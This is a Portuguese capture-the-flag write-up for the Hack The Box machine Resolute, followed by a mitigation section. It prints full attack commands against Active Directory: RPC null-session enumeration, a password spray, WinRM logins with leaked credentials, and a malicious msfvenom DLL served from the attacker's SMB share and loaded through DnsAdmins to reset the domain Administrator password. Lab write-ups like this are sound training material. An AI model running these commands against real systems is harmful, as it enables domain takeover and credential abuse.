Resolute
Introdução
https://app.hackthebox.com/machines/Resolute
Resolute é uma máquina Windows de dificuldade Media da plataforma Hack The Box, focada em Active Directory. O objetivo é comprometer o domínio megabank.local a partir de uma enumeração inicial via RPC, passando por reutilização de credenciais e finalizando com abuso de um grupo privilegiado do AD para obter execução de código como NT AUTHORITY\SYSTEM.
O IP alvo utilizado ao longo deste writeup é 10.10.10.169.
Resumo do caminho de exploração: primeiro foi feita a enumeração de usuários do domínio via RPC (sessão nula), onde também foi encontrada uma senha em texto claro. Com essa senha, foi feito um password spray contra a lista de usuários, obtendo acesso como a usuária melanie. Dentro da máquina, um arquivo de transcript do PowerShell revelou a credencial do usuário ryan, que é membro do grupo DnsAdmins. Esse grupo possui um privilégio conhecido de poder carregar uma DLL arbitrária no serviço DNS do Windows, o que foi abusado para executar comandos como SYSTEM e finalmente obter uma shell de Administrador.
Escaneamento
O primeiro passo é escanear a máquina em busca de portas e serviços abertos, usando nmap.
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.169 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.10.169
O scan revelou um conjunto de portas típico de um Domain Controller Windows: DNS (53), Kerberos (88), RPC (135), NetBIOS/SMB (139/445), LDAP (389/636/3268/3269), WinRM (5985), entre outras — confirmando se tratar de um Active Directory Domain Controller do domínio megabank.local.
Enumeração
Porta 445 / 135 (RPC)
Com a porta de RPC exposta e sem credenciais, tentei uma sessão nula (null session) para enumerar informações do domínio.
rpcclient -U "" -N 10.10.10.169Dentro da sessão, o comandoenumdomuserslista todos os usuários do domínio:
enumdomusers
Também é possível obter informações detalhadas de cada usuário individualmente com queryuser, informando o RID (identificador relativo) em hexadecimal:
queryuser 0x1f4
Também dá para obter um resumo com menos informações de todos os usuários de uma vez com querydispinfo:
querydispinfo
Entre os dados retornados na enumeração dos usuários, uma das contas tinha uma senha deixada em texto claro no campo de descrição: Welcome123!. Esse tipo de vazamento é comum quando administradores anotam credenciais temporárias diretamente nos atributos do AD (como description) para lembrar de repassar aos usuários.
Exploração
A falha explorada nesta etapa é reutilização/vazamento de credenciais: a sessão nula do RPC permitiu enumerar toda a lista de usuários do domínio sem autenticação, e a senha Welcome123!, exposta no campo de descrição de uma conta, se mostrou válida para outros usuários do domínio.
Password Spray
Com a senha em texto claro encontrada (Welcome123!) e a lista de usuários já enumerada via RPC, foi feito um password spray (testar a mesma senha contra todos os usuários) usando o crackmapexec:
crackmapexec smb 10.10.10.169 -u users -p 'Welcome123!' --continue-on-success
O spray retornou sucesso para a conta de melanie, confirmando que ela reutilizava a senha exposta:
Usuário: melanie Senha: Welcome123! Com essa credencial válida, foi possível autenticar via WinRM usando o
evil-winrme obter um shell inicial na máquina:
evil-winrm -i 10.10.10.169 -P 5985 -u melanie -p 'Welcome123!'

Pós-exploração
Melanie → Ryan
Já com shell como melanie, ao listar arquivos ocultos foi encontrado um arquivo de transcript do PowerShell contendo a credencial do usuário ryan:
ls -force
O arquivo em questão era:
C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
Esse tipo de transcript é gerado automaticamente pelo PowerShell quando o logging de transcrição está habilitado (comum em GPOs de logon), e nesse caso o histórico de comandos ficou registrado em texto claro, incluindo a criação de uma conta de serviço com sua respectiva senha:

Usuário: ryan Senha: Serv3r4Admin4cc123! Com essa credencial, autentiquei novamente via WinRM, agora como ryan:
evil-winrm -i 10.10.10.169 -P 5985 -u ryan -p 'Serv3r4Admin4cc123!'
Ryan → Administrator
Abuso do grupo DnsAdmins
Ao checar os grupos do usuário atual:
whoami /groups
Ficou confirmado que o usuário ryan é membro do grupo DnsAdmins. Esse grupo, por padrão, não é considerado altamente privilegiado no sentido tradicional, mas concede controle sobre a configuração do serviço DNS do Windows Server — e esse serviço roda como NT AUTHORITY\SYSTEM no Domain Controller. Membros de DnsAdmins podem configurar o parâmetro serverlevelplugindll, que faz o serviço DNS carregar uma DLL arbitrária ao reiniciar. Essa é a vulnerabilidade central explorada nesta etapa: abuso de privilégio de configuração do DNS para conseguir execução arbitrária de código como SYSTEM.
Passo a passo da exploração:
- Gerei uma DLL maliciosa com
msfvenom, com um payload que cria uma nova conta com privilégios de Administrator do domínio (poderia também ser um payload reverse shell):
msfvenom -p windows/x64/exec cmd='net user administrator Senha#123! /domain' -f dll -o perverse.dll
- Subi um servidor SMB local para servir a DLL para o alvo:
impacket-smbserver share . -smb2support
- No alvo (como ryan), configurei o serviço DNS para apontar para a DLL hospedada no meu compartilhamento SMB e reiniciei o serviço para forçar o carregamento:
cmd /c dnscmd localhost /config /serverlevelplugindll \\10.10.14.7\share\perverse.dll
sc.exe stop dns
sc.exe start dns
Ao reiniciar, o serviço DNS (rodando como SYSTEM) carregou a DLL e executou o payload, alterando a senha do Administrator do domínio.
- Com a senha do Administrator já modificada, autentiquei com
impacket-psexece obtive um shell com privilégios totais no domínio:
impacket-psexec megabank.local/administrator@10.10.10.169
Com isso, foi obtido controle total do domínio megabank.local.
Anexos
Ferramentas e scripts utilizados ao longo do writeup:
- nmap — varredura de portas e serviços.
- rpcclient — enumeração via sessão nula de RPC (
enumdomusers,queryuser,querydispinfo). - crackmapexec — password spray contra SMB.
- evil-winrm — shell interativo via WinRM.
- msfvenom — geração da DLL maliciosa (payload
windows/x64/exec). - impacket-smbserver — servidor SMB local para hospedar a DLL maliciosa.
- dnscmd.exe / sc.exe — abuso do parâmetro
serverlevelplugindlldo serviço DNS e reinício do serviço. - impacket-psexec — execução remota autenticada como Administrator do domínio.
Mitigação
- Nunca armazenar senhas em texto claro em atributos do Active Directory (como o campo description) ou em qualquer outro campo visível por usuários não privilegiados.
- Aplicar política de senhas únicas por conta, evitando reutilização entre usuários, especialmente senhas “padrão” geradas para onboarding.
- Revisar e limpar periodicamente scripts de logon, GPOs e transcripts do PowerShell (
C:\PSTranscripts), removendo credenciais expostas em texto claro; considerar desabilitar transcrição em texto plano ou protegê-la com controle de acesso restrito. - Restringir a associação ao grupo DnsAdmins apenas a administradores estritamente necessários, tratando-o como um grupo de alto privilégio equivalente a Domain Admins, já que permite execução de código como SYSTEM no Domain Controller via
serverlevelplugindll. - Monitorar alterações na configuração do serviço DNS (em especial o parâmetro
serverlevelplugindll) e reinícios do serviço, gerando alertas para atividades fora do padrão. - Aplicar o princípio do menor privilégio de forma geral no AD, revisando periodicamente memberships de grupos privilegiados e realizando auditorias de contas de serviço.